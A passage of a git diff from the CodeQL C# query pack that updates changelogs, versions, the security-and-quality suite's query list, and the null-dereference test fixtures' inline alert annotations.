a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll @@ -41,9 +41,7 @@ class SystemDiagnosticsDebugClass extends SystemDiagnosticsClass { /** Gets an `Assert(bool, ...)` method. */ Method getAssertMethod() { result.getDeclaringType() = this and - result.hasName("Assert") and - result.getParameter(0).getType() instanceof BoolType and - result.getReturnType() instanceof VoidType + result.hasName("Assert") } } diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index a73c77f224f..4eabf64f6a5 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,16 @@ +## 1.2.2 + +No user-facing changes. + +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. + ## 1.2.0 ### Query Metadata Changes diff --git a/csharp/ql/src/CSI/NullAlways.ql b/csharp/ql/src/CSI/NullAlways.ql index e52abdc3cd5..1696f857fde 100644 --- a/csharp/ql/src/CSI/NullAlways.ql +++ b/csharp/ql/src/CSI/NullAlways.ql @@ -9,6 +9,7 @@ * correctness * exceptions * external/cwe/cwe-476 + * quality */ import csharp diff --git a/csharp/ql/src/CSI/NullMaybe.ql b/csharp/ql/src/CSI/NullMaybe.ql index bb886f19929..c69df839958 100644 --- a/csharp/ql/src/CSI/NullMaybe.ql +++ b/csharp/ql/src/CSI/NullMaybe.ql @@ -10,6 +10,7 @@ * correctness * exceptions * external/cwe/cwe-476 + * quality */ import csharp diff --git a/csharp/ql/src/Performance/StringConcatenationInLoop.ql b/csharp/ql/src/Performance/StringConcatenationInLoop.ql index aba7d3b7436..b1b420434e9 100644 --- a/csharp/ql/src/Performance/StringConcatenationInLoop.ql +++ b/csharp/ql/src/Performance/StringConcatenationInLoop.ql @@ -7,6 +7,7 @@ * @id cs/string-concatenation-in-loop * @tags efficiency * maintainability + * quality */ import csharp diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql index b99839226c5..3fc132eb301 100644 --- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -4,7 +4,7 @@ * and cause a denial of service. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id cs/uncontrolled-format-string * @tags security diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md deleted file mode 100644 index ed9805f6ece..00000000000 --- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md deleted file mode 100644 index 2d8c5c1c56e..00000000000 --- a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md deleted file mode 100644 index 6255db9c199..00000000000 --- a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md deleted file mode 100644 index ee3d60fe4ff..00000000000 --- a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. diff --git a/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md new file mode 100644 index 00000000000..b12ec9768d5 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The queries `cs/dereferenced-value-is-always-null` and `cs/dereferenced-value-may-be-null` have been improved to reduce false positives. The queries no longer assume that expressions are dereferenced when passed as the receiver (`this` parameter) to extension methods where that parameter is a nullable type. diff --git a/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..60006391ac6 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `cs/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 00000000000..2751be1db8a --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,8 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md new file mode 100644 index 00000000000..7b520f6c258 --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.2.md @@ -0,0 +1,3 @@ +## 1.2.2 + +No user-facing changes. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 75430e73d1c..0a70a9a01a7 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.2 diff --git a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls index 5bb3a54f6ee..b224499edce 100644 --- a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls +++ b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls @@ -1,4 +1,143 @@ - description: Security-and-quality queries for C# - queries: . -- apply: security-and-quality-selectors.yml - from: codeql/suite-helpers +- include: + kind: + - problem + - path-problem + precision: + - high + - very-high + tags contain: + - security +- include: + kind: + - problem + - path-problem + precision: medium + problem.severity: + - error + - warning + tags contain: + - security +- include: + id: + - cs/asp/response-write + - cs/call-to-gc + - cs/call-to-object-tostring + - cs/call-to-obsolete-method + - cs/call-to-unmanaged-code + - cs/cast-from-abstract-to-concrete-collection + - cs/cast-of-this-to-type-parameter + - cs/catch-nullreferenceexception + - cs/catch-of-all-exceptions + - cs/chained-type-tests + - cs/class-implements-icloneable + - cs/class-missing-equals + - cs/class-name-comparison + - cs/class-name-matches-base-class + - cs/coalesce-of-identical-expressions + - cs/comparison-of-identical-expressions + - cs/complex-block + - cs/complex-condition + - cs/constant-comparison + - cs/constant-condition + - cs/coupled-types + - cs/dereferenced-value-is-always-null + - cs/dereferenced-value-may-be-null + - cs/dispose-not-called-on-throw + - cs/downcast-of-this + - cs/empty-block + - cs/empty-catch-block + - cs/empty-collection + - cs/empty-lock-statement + - cs/equality-on-floats + - cs/equals-on-arrays + - cs/equals-on-unrelated-types + - cs/equals-uses-as + - cs/equals-uses-is + - cs/expose-implementation + - cs/field-masks-base-field + - cs/gethashcode-is-not-defined + - cs/impossible-array-cast + - cs/inconsistent-compareto-and-equals + - cs/inconsistent-equals-and-gethashcode + - cs/inconsistent-lock-sequence + - cs/index-out-of-bounds + - cs/inefficient-containskey + - cs/invalid-dynamic-call + - cs/invalid-string-formatting + - cs/linq/inconsistent-enumeration + - cs/linq/missed-all + - cs/linq/missed-cast + - cs/linq/missed-oftype + - cs/linq/missed-select + - cs/linq/missed-where + - cs/linq/useless-select + - cs/local-not-disposed + - cs/local-shadows-member + - cs/lock-this + - cs/locked-wait + - cs/loss-of-precision + - cs/mishandling-japanese-era + - cs/misleading-indentation + - cs/missed-readonly-modifier + - cs/missed-ternary-operator + - cs/missed-using-statement + - cs/nested-if-statements + - cs/nested-loops-with-same-variable + - cs/non-short-circuit + - cs/null-argument-to-equals + - cs/path-combine + - cs/recursive-equals-call + - cs/recursive-operator-equals-call + - cs/reference-equality-on-valuetypes + - cs/reference-equality-with-object + - cs/rethrown-exception-variable + - cs/self-assignment + - cs/simplifiable-boolean-expression + - cs/static-field-written-by-instance + - cs/string-concatenation-in-loop + - cs/stringbuilder-creation-in-loop + - cs/stringbuilder-initialized-with-character + - cs/test-for-negative-container-size + - cs/too-many-ref-parameters + - cs/type-test-of-this + - cs/unchecked-cast-in-equals + - cs/unmanaged-code + - cs/unsafe-double-checked-lock + - cs/unsafe-sync-on-field + - cs/unsafe-year-construction + - cs/unsynchronized-getter + - cs/unsynchronized-static-access + - cs/unused-collection + - cs/unused-label + - cs/unused-property-value + - cs/useless-assignment-to-local + - cs/useless-cast-to-self + - cs/useless-gethashcode-call + - cs/useless-if-statement + - cs/useless-tostring-call + - cs/useless-type-test + - cs/useless-upcast + - cs/virtual-call-in-constructor + - cs/wrong-compareto-signature + - cs/wrong-equals-signature + - cs/xmldoc/missing-summary +- include: + kind: + - diagnostic +- include: + kind: + - metric + tags contain: + - summary +- exclude: + deprecated: // +- exclude: + query path: + - /^experimental\/.*/ + - Metrics/Summaries/FrameworkCoverage.ql +- exclude: + tags contain: + - modeleditor + - modelgenerator diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 7f4043b2c07..6437a730f15 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1-dev +version: 1.2.3-dev groups: - csharp - queries diff --git a/csharp/ql/test/query-tests/Nullness/A.cs b/csharp/ql/test/query-tests/Nullness/A.cs index 51bbc280e3c..12f5d74d5a2 100644 --- a/csharp/ql/test/query-tests/Nullness/A.cs +++ b/csharp/ql/test/query-tests/Nullness/A.cs @@ -5,7 +5,7 @@ class A public void Lock() { object synchronizedAlways = null; - lock (synchronizedAlways) // BAD (always) + lock (synchronizedAlways) // $ Alert[cs/dereferenced-value-is-always-null] { synchronizedAlways.GetHashCode(); // GOOD } @@ -14,7 +14,7 @@ class A public void ArrayAssignTest() { int[] arrayNull = null; - arrayNull[0] = 10; // BAD (always) + arrayNull[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null] int[] arrayOk; arrayOk = new int[10]; @@ -28,10 +28,10 @@ class A object methodAccess = null; object methodCall = null; - Console.WriteLine(arrayAccess[1]); // BAD (always) - Console.WriteLine(fieldAccess.Length); // BAD (always) - Func tmp = methodAccess.ToString; // BAD (always) - Console.WriteLine(methodCall.ToString()); // BAD (always) + Console.WriteLine(arrayAccess[1]); // $ Alert[cs/dereferenced-value-is-always-null] + Console.WriteLine(fieldAccess.Length); // $ Alert[cs/dereferenced-value-is-always-null] + Func tmp = methodAccess.ToString; // $ Alert[cs/dereferenced-value-is-always-null] + Console.WriteLine(methodCall.ToString()); // $ Alert[cs/dereferenced-value-is-always-null] Console.WriteLine(arrayAccess[1]); // GOOD Console.WriteLine(fieldAccess.Length); // GOOD @@ -47,7 +47,7 @@ class A object varRef = null; TestMethod2(ref varRef); - varRef.ToString(); // BAD (always) + varRef.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] varRef = null; TestMethod3(ref varRef); diff --git a/csharp/ql/test/query-tests/Nullness/Assert.cs b/csharp/ql/test/query-tests/Nullness/Assert.cs index 0236977aa39..86a99708a1f 100644 --- a/csharp/ql/test/query-tests/Nullness/Assert.cs +++ b/csharp/ql/test/query-tests/Nullness/Assert.cs @@ -12,7 +12,7 @@ class AssertTests s = b ? null : ""; Assert.IsNull(s); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsNotNull(s); @@ -20,7 +20,7 @@ class AssertTests s = b ? null : ""; Assert.IsTrue(s == null); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsTrue(s != null); @@ -28,7 +28,7 @@ class AssertTests s = b ? null : ""; Assert.IsFalse(s != null); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsFalse(s == null); @@ -44,10 +44,10 @@ class AssertTests s = b ? null : ""; Assert.IsTrue(s == null && b); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsFalse(s != null || !b); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/B.cs b/csharp/ql/test/query-tests/Nullness/B.cs index 76ebb6ffd8e..946bacecefb 100644 --- a/csharp/ql/test/query-tests/Nullness/B.cs +++ b/csharp/ql/test/query-tests/Nullness/B.cs @@ -10,7 +10,7 @@ class B B neqCallAlways = null; if (eqCallAlways == null) - eqCallAlways.ToString(); // BAD (always) + eqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] if (b2 != null) b2.ToString(); // GOOD @@ -21,7 +21,7 @@ class B if (neqCallAlways != null) { } else - neqCallAlways.ToString(); // BAD (always) + neqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public static bool operator ==(B b1, B b2) diff --git a/csharp/ql/test/query-tests/Nullness/C.cs b/csharp/ql/test/query-tests/Nullness/C.cs index 805d9e2cae4..405dceb74d5 100644 --- a/csharp/ql/test/query-tests/Nullness/C.cs +++ b/csharp/ql/test/query-tests/Nullness/C.cs @@ -15,7 +15,7 @@ public class C if (!(o != null)) { - o.GetHashCode(); // BAD (always) + o.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null] } } @@ -39,7 +39,7 @@ public class C { var s = Maybe() ? null : ""; Debug.Assert(s == null); - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = Maybe() ? null : ""; Debug.Assert(s != null); @@ -50,22 +50,22 @@ public class C { var o1 = new object(); AssertNull(o1); - o1.ToString(); // BAD (always) (false negative) + o1.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null] var o2 = Maybe() ? null : ""; Assert.IsNull(o2); - o2.ToString(); // BAD (always) + o2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public void AssertNotNullTest() { - var o1 = Maybe() ? null : new object(); + var o1 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] AssertNonNull(o1); - o1.ToString(); // GOOD (false positive) + o1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - var o2 = Maybe() ? null : new object(); + var o2 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] AssertNonNull(o1); - o2.ToString(); // BAD (maybe) + o2.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] var o3 = Maybe() ? null : new object(); Assert.IsNotNull(o3); @@ -91,16 +91,16 @@ public class C public void Lock() { - var o = Maybe() ? null : new object(); - lock (o) // BAD (maybe) + var o = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] + lock (o) // $ Alert[cs/dereferenced-value-may-be-null] o.ToString(); // GOOD } public void Foreach(IEnumerable list) { if (Maybe()) - list = null; - foreach (var x in list) // BAD (maybe) + list = null; // $ Source[cs/dereferenced-value-may-be-null] + foreach (var x in list) // $ Alert[cs/dereferenced-value-may-be-null] { x.ToString(); // GOOD list.ToString(); // GOOD @@ -159,7 +159,7 @@ public class C s = null; do { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = null; } while (s != null); @@ -167,15 +167,15 @@ public class C s = null; do { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } while (s != null); s = ""; do { - s.ToString(); // BAD (maybe) - s = null; + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] + s = null; // $ Source[cs/dereferenced-value-may-be-null] } while (true); } @@ -193,15 +193,15 @@ public class C s = null; while (b) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = null; } s = ""; while (true) { - s.ToString(); // BAD (maybe) - s = null; + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] + s = null; // $ Source[cs/dereferenced-value-may-be-null] } } @@ -215,12 +215,12 @@ public class C } if (s == null) - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = ""; if (s != null && s.Length % 2 == 0) - s = null; - s.ToString(); // BAD (maybe) + s = null; // $ Source[cs/dereferenced-value-may-be-null] + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } public void For() @@ -230,23 +230,23 @@ public class C { s.ToString(); // GOOD } - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] for (s = null; s == null; s = null) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } - for (s = ""; ; s = null) + for (s = ""; ; s = null) // $ Source[cs/dereferenced-value-may-be-null] { - s.ToString(); // BAD (maybe) + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } } public void ArrayAssignTest() { int[] a = null; - a[0] = 10; // BAD (always) + a[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null] a = new int[10]; a[0] = 42; // GOOD @@ -257,8 +257,8 @@ public class C int[] ia = null; string[] sa = null; - ia[1] = 0; // BAD (always) - var temp = sa.Length; // BAD (always) + ia[1] = 0; // $ Alert[cs/dereferenced-value-is-always-null] + var temp = sa.Length; // $ Alert[cs/dereferenced-value-is-always-null] ia[1] = 0; // BAD (always), but not first temp = sa.Length; // BAD (always), but not first diff --git a/csharp/ql/test/query-tests/Nullness/D.cs b/csharp/ql/test/query-tests/Nullness/D.cs index 40419b7f577..ffc4fd193c7 100644 --- a/csharp/ql/test/query-tests/Nullness/D.cs +++ b/csharp/ql/test/query-tests/Nullness/D.cs @@ -14,22 +14,22 @@ public class D public void Caller() { Callee1(new object()); - Callee1(null); + Callee1(null); // $ Source[cs/dereferenced-value-may-be-null] Callee2(new object()); } public void Callee1(object param) { - param.ToString(); // BAD (maybe) + param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } - public void Callee2(object param) + public void Callee2(object param) // $ Source[cs/dereferenced-value-may-be-null] { if (param != null) { param.ToString(); // GOOD } - param.ToString(); // BAD (maybe) + param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } private static bool CustomIsNull(object x) @@ -55,54 +55,54 @@ public class D if ((2 > 1 && o4 != null) != false) o4.ToString(); // GOOD - var o5 = (o4 != null) ? "" : null; + var o5 = (o4 != null) ? "" : null; // $ Source[cs/dereferenced-value-may-be-null] if (o5 != null) o4.ToString(); // GOOD if (o4 != null) - o5.ToString(); // GOOD (false positive) + o5.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] var o6 = maybe ? null : ""; if (!CustomIsNull(o6)) o6.ToString(); // GOOD - var o7 = maybe ? null : ""; + var o7 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] var ok = o7 != null && 2 > 1; if (ok) o7.ToString(); // GOOD else - o7.ToString(); // BAD (maybe) + o7.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] - var o8 = maybe ? null : ""; + var o8 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] int track = o8 == null ? 42 : 1 + 1; if (track == 2) o8.ToString(); // GOOD if (track != 42) o8.ToString(); // GOOD if (track < 42) - o8.ToString(); // GOOD (false positive) + o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (track <= 41) - o8.ToString(); // GOOD (false positive) + o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Deref(int i) { - int[] xs = maybe ? null : new int[2]; + int[] xs = maybe ? null : new int[2]; // $ Source[cs/dereferenced-value-may-be-null] if (i > 1) - xs[0] = 5; // BAD (maybe) + xs[0] = 5; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 2) - maybe = xs[1] > 5; // BAD (maybe) + maybe = xs[1] > 5; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 3) { - var l = xs.Length; // BAD (maybe) + var l = xs.Length; // $ Alert[cs/dereferenced-value-may-be-null] } if (i > 4) - foreach (var _ in xs) ; // BAD (maybe) + foreach (var _ in xs) ; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 5) - lock (xs) // BAD (maybe) + lock (xs) // $ Alert[cs/dereferenced-value-may-be-null] xs.ToString(); // Not reported - same basic block if (i > 6) @@ -117,12 +117,12 @@ public class D var x = b ? null : "abc"; x = x == null ? "" : x; if (x == null) - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] else x.ToString(); // GOOD } - public void LengthGuard(int[] a, int[] b) + public void LengthGuard(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null] { int alen = a == null ? 0 : a.Length; // GOOD int blen = b == null ? 0 : b.Length; // GOOD @@ -131,8 +131,8 @@ public class D { for (int i = 0; i < alen; i++) { - sum += a[i]; // GOOD (false positive) - sum += b[i]; // GOOD (false positive) + sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] + sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } int alen2; @@ -142,13 +142,13 @@ public class D alen2 = 0; for (int i = 1; i <= alen2; ++i) { - sum += a[i - 1]; // GOOD (false positive) + sum += a[i - 1]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } - public void MissedGuard(object obj) + public void MissedGuard(object obj) // $ Source[cs/dereferenced-value-may-be-null] { - obj.ToString(); // BAD (maybe) + obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] var x = obj != null ? 1 : 0; } @@ -160,7 +160,7 @@ public class D public void Exceptions() { - object obj = null; + object obj = null; // $ Source[cs/dereferenced-value-may-be-null] try { obj = MkMaybe(); @@ -168,7 +168,7 @@ public class D catch (Exception e) { } - obj.ToString(); // BAD (maybe) + obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] object obj2 = null; try @@ -194,7 +194,7 @@ public class D { var o = new Object(); if (o == null) - o.ToString(); // BAD (always) + o.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o.ToString(); // GOOD try @@ -204,7 +204,7 @@ public class D catch (Exception e) { if (e == null) - e.ToString(); // BAD (always) + e.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] e.ToString(); // GOOD } @@ -214,12 +214,12 @@ public class D var o3 = "abc"; if (o3 == null) - o3.ToString(); // BAD (always) + o3.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o3.ToString(); // GOOD var o4 = "" + null; if (o4 == null) - o4.ToString(); // BAD (always) + o4.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o4.ToString(); // GOOD } @@ -237,25 +237,25 @@ public class D if (flag) o.ToString(); // GOOD - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] var other = maybe ? null : ""; if (other == null) o = ""; if (other != null) - o.ToString(); // BAD (always) (reported as maybe) + o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] (always - but reported as maybe) else - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - var o2 = (num < 0) ? null : ""; + var o2 = (num < 0) ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] if (num < 0) o2 = ""; else - o2.ToString(); // GOOD (false positive) + o2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void TrackingVariable(int[] a) { - object o = null; + object o = null; // $ Source[cs/dereferenced-value-may-be-null] object other = null; if (maybe) { @@ -264,9 +264,9 @@ public class D } if (other is string) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] int count = 0; var found = false; for (var i = 0; i < a.Length; i++) @@ -280,7 +280,7 @@ public class D } if (a[i] > 10000) { - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] count = 0; if (2 > i) { } found = false; @@ -288,20 +288,20 @@ public class D } if (count > 3) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (found) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - object prev = null; + object prev = null; // $ Source[cs/dereferenced-value-may-be-null] for (var i = 0; i < a.Length; ++i) { if (i != 0) - prev.ToString(); // GOOD (false positive) + prev.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] prev = a[i]; } - string s = null; + string s = null; // $ Source[cs/dereferenced-value-may-be-null] { var s_null = true; foreach (var i in a) @@ -310,10 +310,10 @@ public class D s = "" + a; } if (!s_null) - s.ToString(); // GOOD (false positive) + s.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - object r = null; + object r = null; // $ Source[cs/dereferenced-value-may-be-null] var stat = MyStatus.INIT; while (stat == MyStatus.INIT && stat != MyStatus.READY) { @@ -321,7 +321,7 @@ public class D if (stat == MyStatus.INIT) stat = MyStatus.READY; } - r.ToString(); // GOOD (false positive) + r.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public enum MyStatus @@ -348,28 +348,28 @@ public class D public void LoopCorr(int iters) { - int[] a = null; + int[] a = null; // $ Source[cs/dereferenced-value-may-be-null] if (iters > 0) a = new int[iters]; for (var i = 0; i < iters; ++i) - a[i] = 0; // GOOD (false positive) + a[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (iters > 0) { - string last = null; + string last = null; // $ Source[cs/dereferenced-value-may-be-null] for (var i = 0; i < iters; i++) last = "abc"; - last.ToString(); // GOOD (false positive) + last.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - int[] b = maybe ? null : new int[iters]; + int[] b = maybe ? null : new int[iters]; // $ Source[cs/dereferenced-value-may-be-null] if (iters > 0 && (b == null || b.Length < iters)) throw new Exception(); for (var i = 0; i < iters; ++i) { - b[i] = 0; // GOOD (false positive) + b[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } @@ -382,33 +382,33 @@ public class D if (ioe != null) ioe = e; else - ioe.ToString(); // BAD (always) + ioe.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } - public void LengthGuard2(int[] a, int[] b) + public void LengthGuard2(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null] { int alen = a == null ? 0 : a.Length; // GOOD int sum = 0; int i; for (i = 0; i < alen; i++) { - sum += a[i]; // GOOD (false positive) + sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } int blen = b == null ? 0 : b.Length; // GOOD for (i = 0; i < blen; i++) { - sum += b[i]; // GOOD (false positive) + sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } i = -3; } - public void CorrConds2(object x, object y) + public void CorrConds2(object x, object y) // $ Source[cs/dereferenced-value-may-be-null] { if ((x != null && y == null) || (x == null && y != null)) return; if (x != null) - y.ToString(); // GOOD (false positive) + y.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (y != null) - x.ToString(); // GOOD (false positive) + x.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/E.cs 